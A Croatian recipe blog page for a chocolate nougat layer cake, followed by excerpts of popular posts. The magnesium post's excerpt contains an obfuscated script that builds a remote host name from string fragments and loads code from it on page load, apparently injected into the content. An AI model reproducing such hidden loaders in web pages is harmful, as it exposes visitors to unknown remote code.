ČOKO NUGAT TORTA 🍰




Čoko nugat torta 



Imamo za vas pravu bombu, s puno lješnjaka i čokolade! Ljubitelji nugat slastica, evo nešto za vaše nepce!




Čoko nugat torta 


Sastojci:

Za biskvit:

  • 8 jaja
  • 22 dkg glatkog brašna
  • 21 dkg šećera
  • 1 vanilin šećer
  • 3 dkg kakaa
  • 0,5 dcl mlijeka
  • 0,5 dcl ulja
  • 50 g mljevenih lješnjaka

Za kremu:

  • 7 dcl mlijeka
  • 10 dkg šećera
  • 5 žumanjaka
  • 3 dkg oštrog brašna
  • 200 ml slatkog vrhnja
  • 200 g čokolade za kuhanje
  • 5 žlica kakaa

Za glazuru:

  • 300 g čokolade za kuhanje
  • 100 ml slatkog vrhnja
  • Usitnjeni lješnjaci



Priprema:

Biskvit:

  • 1. Jaja i šećer pjenasto izradite. Dodajte brašno i vanilin šečer.
  • 2. Miješajući postepeno dodajte mlijeko i ulje. Dodajte kakao i dobro promiješajte.
  • 3. Na kraju, dodajte mljevene lješnjake i još jednom ručno promiješajte.
  • 4. Okrugli kalup prekrijte papirom za pečenje i ulijte trećinu smjese za biskvit. Od te smjese potrebno je dobiti dvije biskvitne podloge. Pecite na 180°C stupnjeva oko 20 minuta, ovisno o pećnici.
  • 5. Ponovite postupak sa ostatkom smjese za biskvit od kojeg ćete dobiti jedan biskvit.
  • 6. Prvi pečeni biskvit prerežite po sredini kako biste dobili dvije jednake podloge, tako da sveukupno imate 3 biskvita.

Izrada kreme:

  • 1. Od navedene količine mlijeka, odvojite malo sa strane. Ostatak stavite da prokuha.
  • 2. S hladnim mlijekom izmiješajte šećer, žumanjke i oštro brašno i dodajte ga prokuhanom mlijeku neprekidno miješajući dok se ne zgusne. Sklonite sa vatre.
  • 3. Prebacite kremu u drugu posudu, pokrijte sa prozirnom folijom i ostavite da se ohladi.
  • 4. Dok se krema hladi, izradite slatko vrhnje.
  • 5. Čokoladu za kuhanje otopite na pari i prohladite ju.
  • 6. Kad se krema ohladila, dodajte joj šlag i čokoladu i sve dobro promiješajte.
  • 7. Za glazuru, otopite čokoladu sa slatkim vrhnjem.

Izrada:

  • 1. Postavite jedan dio biskvita na stalak za tortu.
  • 2. Premažite s čokoladnom kremom. Preko kreme stavite drugi dio biskvita, pa zatim premažite kremom. Tako i sa trećim biskvitom, i preko njega premažite ostatak kreme. Ostatak kreme iskoristite i premažite rubove torte.
  • 3. Naposljetku, prelijte tortu s čokoladnom glazurom i pospite s komadićima lješnjaka.

U slast!



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više